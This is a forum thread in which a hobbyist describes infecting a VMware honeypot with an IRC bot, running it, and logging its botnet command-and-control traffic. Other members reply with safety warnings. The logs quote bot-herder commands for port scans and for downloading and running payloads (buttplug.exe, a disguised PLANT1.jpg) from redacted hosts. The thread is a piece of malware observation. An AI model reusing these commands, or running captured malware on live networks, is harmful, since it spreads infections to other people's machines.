Results 1 to 6 of 6

Thread: Running a honeypot...

  1. #1
    Member
    Join Date
    Dec 2006
    Posts
    33

    Running a honeypot...

    ...is hard work

    So, for no apparent reason whatsoever, I decided that I'd run a virtual honeypot on my laptop. Host system is Win XP Pro SP2, and virtual system is Win XP Home SP2. No updates, no firewall on the virtual system--just a snapshot to go back to should someone get too frisky. Closed ports 445 and 137-139 on the host system, and forwarded those ports to my VMware. Enabled file and printer sharing on the virtual machine, shared my entire C drive, got ethereal sniffing on the host machine on the cmware adapter, and all was set. (I couldn't close port 135 on the host machine because WinXP Pro suuuuuucks )

    Anyways, it only took just under 10 seconds for the first worm (different IP address, same subnet as my IP) to find my open shares. It simply queried for preset shares ( C$, D$, E$, IPC$, etc), and disconnected. The next worm, from a different IP subnet, did the same thing, and disconnected. Multiple worms came and went, quering my shares, and some actually tried to write to my open shares, but for one reason or another, disconnected whilst writing the files.

    Then, around 45 seconds after connecting my honeypot to the internet, a worm connected, queried all my shares, and then started writing. And writing. And writing. All the files it wrote started with "eraseme_" and then a random number. I noticed that it was actually trying to start the files themselves, then, after a while, it simply disconnected. I searched for the files that it wrote, but didn't find any until the next day, when I enabled the viewing of system files. In my c:windows directory, there was a system file named "taskmgr.exe". That's rather odd, because the real taskmgr is in the system32 folder. I executed it.

    Ethereal immediately went to hell, as taskmgr.exe connected to an IRC server, got the commands, and started wontonly scanning my "network" for open netbios ports, VNC, and epmap ports at an alarming rate. I almost didn't find where it connected to the IRC server, but once I did, I told it to follow the TCP stream. God, I love ethereal.

    First, taskmgr.exe did some DNS queries on a nonexistent domain name. Then, it tried another domain name, and got a good reply--4 IP addresses under 1 domain name. One in the UK, one in Australia, and the other 2 in the US. (I won't mention the IP addresses nor the domain names, since this botnet is still active and growing, I assume.) So, either these IPs are just relays that forward packets to one central server, thereby keeping the IP address and location of the server secret, or the IPs aere each their own server, networked together over the internet. Probably hacked without the owners' knowledge, too.

    So, the bot connected to an IRC server, or relay, in Australia. This server had most of the IRC code stripped out to save bandwidth. This means that I'm not able to see anything in the channel, except myself, the topic, and the modes of the channel. Finding the key to the room it joined was fun. The key wasn't in ascii, so I had to convet the hexadecimal that ethereal was displaying to decimal, and then convert the decimal to ascii. The fun part immediatly became obvious, as the decimal I got from the hexidecimal was a 2, and ascii codes don't go down that far. A friend of mine helped me do the final conversion, and decimal 2 happens to be a bold character. Pressing ctrl+b in mirc will give you the correct character. The channel key was 4 of these bold chars.

    Anyways, here's a log of the initial connection and fun stuff (the lines starting with > are from me to him, and < are from him to me):

    >NICK [P00|USA|79099813]

    >USER XP-2501 * 0 :SSERVER1

    <:log.us.sys 001 [P00|USA|79099813] :Cisco

    <:log.us.sys 005 [P00|USA|79099813]



    <:log.us.sys 422 [P00|USA|79099813] :

    <:[P00|USA|79099813] MODE [P00|USA|79099813] :+i

    >MODE [P00|USA|79099813]

    >JOIN #pp ....

    >MODE [P00|USA|79099813]

    >JOIN #pp ....

    <:log.us.sys 221 [P00|USA|79099813] +i

    <:[P00|USA|79099813]!XP-2501@myhostname JOIN :#pp

    <:log.us.sys 332 [P00|USA|79099813] #pp :.asc -S -s |.asc rpc135 75 5 0 -b |.asc netbios 75 5 0 -b |.asc vnc 50 5 0 -a -r

    <:log.us.sys 333 [P00|USA|79099813] #pp asff 1163525766

    <:log.us.sys 353 [P00|USA|79099813] @ #pp :[P00|USA|79099813]

    <:log.us.sys 366 [P00|USA|79099813] #pp :End of /NAMES list.

    <:log.us.sys 221 [P00|USA|79099813] +i

    >PRIVMSG #pp :SC: Sequential Port Scan started on 192.168.0.0:135 with a delay of 5 seconds for 0 minutes using 75 threads.

    <:log.us.sys 404 [P00|USA|79099813] <#pp : (#pp)

    >PRIVMSG #pp :SC: Sequential Port Scan started on 192.168.0.0:139 with a delay of 5 seconds for 0 minutes using 75 threads.

    <:log.us.sys 404 [P00|USA|79099813] <#pp : (#pp)

    >PRIVMSG #pp :SC: Random Port Scan started on 192.x.x.x:5900 with a delay of 5 seconds for 0 minutes using 50 threads.

    <:log.us.sys 404 [P00|USA|79099813] #pp :


    So you have my nick being set to P00, the country, and a random number. My userhost info is my OS-build# * 0(no idea what the 0 is for) : my netbiosname

    It "logs" me onto the server, with the password Cisco, sets my usermode to +i (invisible?), and I tell it to let me join a channel, with the key. It joins the channel, gives me the topic (which the zombie prog interprets as a series of commands):

    <:log.us.sys 332 [P00|USA|79099813] #pp :.asc -S -s |.asc rpc135 75 5 0 -b |.asc netbios 75 5 0 -b |.asc vnc 50 5 0 -a -r

    The first command I don;t quite know, the second command tells the zombie to scan my local network for open epmaps (135) (with a delay of 5 seconds, using 75 threads), the third command is to scan my local network for open ports 139 (same as second command), and the last one is for scanning for open VNC ports (this time, using only 50 threads).

    Then, the zombie messages the room that it's scanning for those open ports on my local network. The fun part is that I have no local network on my laptop, just a lone honeypot. The firewall on my host machine is configured to block most outbound connection attempts, except for those needed by the zombie to access the servers, so all the traffic generated by the scanning is kept within vmware.




    That's it for tonight, I have much more to divulge to your eager eyeballs. It's getting late here, and I want to be alive for work tomorrow

  2. #2
    Member
    Join Date
    Dec 2006
    Posts
    33
    K, now that i have the time to post again; a Summary:

    My above exploit was performed on November 21st. I Installed a virtual honeypot, left obvious netbios shares open, and the system was partially successfully compromised in about 45 seconds. The next day, I found the file it had written to my windows folder (taskmgr.exe), and executed it. It connected to an IRC server, joined a keyed channel, interpreted the topic as a series of commands, and immediately began scanning my "network" for other compromised machines. Fun.

    I went down to Tampa for Thanksgiving, and had very little access to the internet, but I did fire up the honeypot a couple times just to see if anything had changed, and nothing had. I came back home, on December 1, installed a version of Private Message Plus (an IRC client that doesn't run scripts, but can be customised in other ways). I connected to one of the 4 IP addresses I had gleaned from disabling access to the internet, and, as I feared, I was only able to see myself, the channel modes, and the topic.

    I tried joining other channels, but all I could get was:

    log.in.sys has set mode +smntMu .

    When I joined #pp again, however, I saw a slight change in the topic:

    Current topic for #pp is ".t kill all |.update http://xxx.xxx.xx.xx/Netlib/up/buttplug.exe buttplug.exe butt".

    ...which I took to be a command to close the zombie prog, and connect to xxx.xxx.xx.xx (an IP address I left out), download buttplug.exe, and update/replace the first zombie program. Either the zombie prog didn't close until it completed the update, or another prog was updating for the zombie. I believe the former was true, for netstat showed me the same process identifier for the connection to the ip address above as it did for the IRC server.

    So, it downloaded buttplug.exe, I used filemon.exe to find where it was written to (the windows folder) and I executed it manually. Using filemon.exe, I determined that buttplug deleted taskmgr.exe, and wrote another copy of taskmgr.exe to the same folder. Buttplug then executed taskmgr.exe, and then deleted itself. Nice.

    Taskmgr.exe once again connected to the same IRC server, but joined a different channel (with the same key as the other channel):

    >MODE [P00|USA|29898434]

    >JOIN #_ ....

    >MODE [P00|USA|29898434]

    >JOIN #_ ....

    >MODE [P00|USA|29898434]

    >JOIN #_ ....

    <:log.on.sys 221 [P00|USA|29898434] +i

    <:[P00|USA|29898434]!XP-8761@dialup-xxxxxxxxxx JOIN :#_

    <:log.on.sys 353 [P00|USA|29898434] @ #_ :[P00|USA|29898434]

    <:log.on.sys 366 [P00|USA|29898434] #_ :End of /NAMES list.

    <:log.on.sys 221 [P00|USA|29898434] +i

    <:log.on.sys 221 [P00|USA|29898434] +i

    (I still have no idea what the 3 digit numbers are. RAW events, perhaps?)

    No topic this time. Wierd. Maybe the channel was being set up. I quickly joined the channel with PMP to see if I could get lucky and spot just how many bots were on the channel, but I was apparently out of luck. This IRC server is set to set all channels with the same modes. This botherder is good...

    On December 3rd, I started the honeypot, and the zombie automatically joined, but, still, no topic.

    But, upon connecting with PMP, the topic was clear:

    Current topic for #_ is ".asc -S -s |.sa 200 5 0 -b -r |.down http://xxx.xx.xx.xxx/images/PLANT1.jpg c:\vsdgd.exe c:\vsdgd.exe -r -h".

    I interpreted this topic as commands to scan for open port 200 with a delay of 0 seconds, using 5 threads. (No idea what the -b, -r, or -h switches in the topic). The additional command was to download plant1.jpg, and save it as c:\vsdgd.exe, but my zombie had not done that, nor had it followed the first commands. Apparently, my copy of the zombie was no longer working correctly. I opened up internet explorer in the honeypot, and tried to download plant1.jpg manually, but all it did was show an executable in text format (like reading gobbledygook in internet explorer).

    Nothing untowards was happening on the packetsniffer, so I closed the honeypot and went back to silent running.

  3. #3
    Senior Member
    Join Date
    Jan 2002
    Posts
    1,207
    Running a honeypot without egress filtering is a REALLY bad idea.

    Your machine will start doing all manner of bad egress once it is compromised, and subsequently your IP will get blacklisted, your ISP will detect it and close your account etc.

    Egress filtering is a MUST when doing this sort of malarky.

    Be careful.

    Slarty

  4. #4
    Master-Jedi-Pimps0r & Moderator thehorse13's Avatar
    Join Date
    Dec 2002
    Location
    Washington D.C. area
    Posts
    2,885
    Is there a specific reason you're doing this on your home PC rather than in a properly architected lab? Typically, behavior like this is considered impolite to others on the net at best. As Slarty mentioned, you need the proper filters in place so you don't end up black listed or worse yet, aiding in the attack of other systems.

    As for your findings. This is cookie cutter behavior of botnets. You've watched the seeding, feeding and updating of your zombie host. The filenames you've given are of well known IRC bot variants out there. Buttplug in particular.

    As for the command sets, they will vary slightly from one bot master to the next. Your interpretations of bot commands are accurate. The 3 digit numbers you've seen are simply system event codes on the IRC server. For instance, when changing to "+i" the event code is 221. Incidentally, this switch means "invite only".

    Now, the real question. What are you going to do with this data? There are organized groups of professionals who make it their life's work taking down botnets. I happen to belong to one of those groups. If you'd like to make a positive contribution, start by getting a safe honeypot environment setup and then feed your findings to one of the groups I've mentioned. If you are seriously interested, PM me and perhaps you may qualify to get on to the vetted list and assist in the removal of this scurge.

    --TH13
    Our scars have the power to remind us that our past was real. -- Hannibal Lecter.
    Talent is God given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful. -- John Wooden

  5. #5
    Member
    Join Date
    Dec 2006
    Posts
    33
    First, your questions:


    Egress filtering:

    In my first post--close to the bottom, I believe:

    "The firewall on my host machine is configured to block most outbound connection attempts, except for those needed by the zombie to access the servers, so all the traffic generated by the scanning is kept within vmware."
    ____________________________

    Lab:

    All data gathering and honeypot data are done on my laptop, with the virtual machine on a seperate partitian. I have shut down botnets before myself, but the owners were stupid, and the botnets were small (the largest one was just over 3k machines). I've taken a break from doing this, so, being about a year since I've done this, it's almost like doing this for the first time again. I am new to the concept of tracking botnets, but I have been on IRC long enough to know what is what. My major weakness is the fact that I only have a dialup connection to the internet most of the time, so I can't stay online forever like most everyone else can. Also, due to the fact I'm still in college, I can't sit and watch what goes on for long periods of time, so I am limited to how long I can gather whatever data that comes to me.

    ______________________________


    Data:

    For now, I am merely curious as to the formation, growth, shrinkage, mutation, and death of botnets. I am not merely shutting down botnets now. I am wanting to learn what sort of infrastructure it takes to run a large botnet, what tactics the botherders use to evade detection, and what the botnets actually do nowadays (no, I'm not planning on owning my own botnet). If nothing has changed since the last time I connected to this botnet, I simply throw the data away. I am not looking for ways to shut it down; I am looking for patterns and changes. Nothing more.

    I have actually been watching this botnet on and off since November 21, after the honeypot was compromised, and so far, I have not witnessed this botnet perform any attacks. The posts on this board are me "catching up" to the present day, since there is so much, and yet, so little, information here.


    Now, onward:


    The friend who helped me decode the channel key had been helping me on and off, but on December 5, he messaged me via ICQ with bad news (I crossed out his name, and his hostname, he doesn't want to be mentioned here):

    Date : 12/05/2006 Time : 12:18 PM
    From : xxxxxx
    13:17 [81] !log.us.sys *** You are permanently banned from Cisco (no reason)
    13:17 [81] -!- ERROR
    Closing Link: [P00|USA|79099813[xxxxxxxxxxx-xxxxxxxxxxxx.xx.aliant.net] (User has been permanently
    banned from Cisco
    13:17 [81] -!- Irssi: Connection lost to xx.xx.xxx.xxx

    13:17 [812] !log.on.sys ***You are permanently banned from Cisco (no reason)
    13:17 [812] -!- ERROR Closing Link:
    [P00|USA|79099814[xxxxxxxxxxxx-xxxxxxxxxxxxx.xx.aliant.net] (User has been permanently banned from
    Cis13:17 [812] -!- Irssi: Connection lost to xx.xx.xx.xxx

    (notice the xx.xx.xx.xxx is different from the xx.xx.xxx.xxx in the first paste, these are different IP addresses)

    Apparently, he had not been sending the required lines back to the channel, so, the botherder glined him from the network. Since I had been connecting and disconnecting, the botherder hadn't caught me yet. So, everytime afterwards, I would let the zombie connect to the server first, capture the lines the zombie would send, and then connect to the same server via a proxy server, and send the lines then. I doubted I'd get any more information from my PMP client than I would from my zombie, but at least I was doing something.

    I studied for my finals and got most of them done, so I was off for 4 days. I now only have 2 more finals that are easy A's.

    So, yesterday, Dec 9, I started the honeypot, and captured all the traffic from it. The topic was the same, but this time, the zombie sent these lines back:

    >PRIVMSG #_ :SC: Random Port Scan started on 192.168.x.x:135 with a delay of 5 seconds for 0 minutes using 40 threads.

    <:log.us.sys 404 [P00|USA|88175849] #_ : (#_)

    >PRIVMSG #_ :SC: Random Port Scan started on 192.168.x.x:139 with a delay of 5 seconds for 0 minutes using 40 threads.

    <:log.us.sys 404 [P00|USA|88175849] #_ : (#_)

    >PRIVMSG #_ :SC: Random Port Scan started on 192.168.x.x:1433 with a delay of 5 seconds for 0 minutes using 40 threads.

    <:log.us.sys 404 [P00|USA|88175849] #_ : (#_)

    >PRIVMSG #_ :SC: Random Port Scan started on 192.168.x.x:139 with a delay of 5 seconds for 0 minutes using 40 threads.

    <:log.us.sys 404 [P00|USA|88175849] #_ : (#_)

    >PRIVMSG #_ :SC: Random Port Scan started on 192.168.x.x:5900 with a delay of 5 seconds for 0 minutes using 40 threads.

    <:log.us.sys 404 [P00|USA|88175849] #_ : (#_)


    None of those commands were in the channel topic. Remember, these are the lines it sent me last time, right after I joined the channel:

    >:[P00|USA|88175849]!XP-7683@dialup-4.235.189.54.dial1.orlando1.level3.net JOIN :#_

    <:log.us.sys 332 [P00|USA|88175849] #_ :.asc -S -s |.sa 200 5 0 -b -r

    <:log.us.sys 333 [P00|USA|88175849] #_ fghfgh 1165626074

    <:log.us.sys 353 [P00|USA|88175849] @ #_ :[P00|USA|88175849]

    <:log.us.sys 366 [P00|USA|88175849] #_ :End of /NAMES list.


    I do not know what #_ fghfgh 1165626074 is, a username, perhaps?

    And this line:

    :log.us.sys 353 [P00|USA|88175849] @ #_ :[P00|USA|88175849]

    I just noticed the @ in the mess, so it looks like the zombie is viewing the channel through a window. Either that, or I'm an op in the channel, which is highly unlikely.

    Also, this time, the zombie sends this line back to the channel twice:

    PRIVMSG #_ :SC: Random Port Scan started on 192.168.x.x:139 with a delay of 5 seconds for 0 minutes using 40 threads.

    So, the botherder is getting a bit sloppy in his coding. This is good, he must be getting desperate? Or just wants to make sure it works?


    Also, I noticed the domain name query was different from what it was last time, and that two of the IP addresses wasn't there (onw of the US ones, and the australian one). Maybe that one server, or relay, got taken offline. Another IP address, one from Norway, had taken place. Whatever the reason for the changes, my CPU was getting warm from the vmware, the ethereal, and the sheer amount of traffic being generated by the zombie, and time was getting short (had to go to work), so I decided I'd call it a day.
    _____________________________________________

    I realise I'm probably going about this in a rather disorganised manner, so maybe I'd better fall back, rethink my strategy, and regroup for a while. I'm gathering information, but I'm not learning much from it.

  6. #6
    Senior Member
    Join Date
    Aug 2003
    Posts
    185
    if you're intersted in malware you should run nepenthes
    the analysis willbe done by CWsandbox and/or norman.
    http://nepenthes.sf.net
    no need to decode channelkeys anymore ...
    give it a try
    Industry Kills Music.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •